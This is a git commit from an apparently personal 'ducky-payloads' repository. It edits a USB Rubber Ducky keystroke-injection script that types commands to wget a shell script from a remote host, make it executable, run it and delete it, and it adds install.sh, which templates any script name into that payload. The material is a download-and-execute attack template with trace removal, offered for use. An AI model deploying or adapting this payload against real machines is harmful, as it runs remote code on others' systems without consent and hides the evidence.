add install.sh

This commit is contained in:
♥ Minnie ♥ 2025-01-03 16:29:33 +08:00
parent 8fa0fed2f4
commit a96d397a94
Signed by: jasmine
GPG key ID: 8563E358D4E8040E
2 changed files with 7 additions and 4 deletions

View file

@ -4,19 +4,19 @@ REM DESCRIPTION Fetch and execute a script from remote repository
REM VERSION 1.0 REM VERSION 1.0
DELAY 200 DELAY 200
STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/script.sh
ENTER ENTER
DELAY 200 DELAY 200
STRING chmod +x hello_world.sh STRING chmod +x script.sh
ENTER ENTER
DELAY 200 DELAY 200
STRING ./hello_world.sh STRING ./script.sh
ENTER ENTER
DELAY 200 DELAY 200
STRING rm hello_world.sh STRING rm script.sh
ENTER ENTER
DELAY 200 DELAY 200

3
install.sh Executable file
View file

@ -0,0 +1,3 @@
#!/bin/sh
sed s/script.sh/$1/g example.dd > payload.dd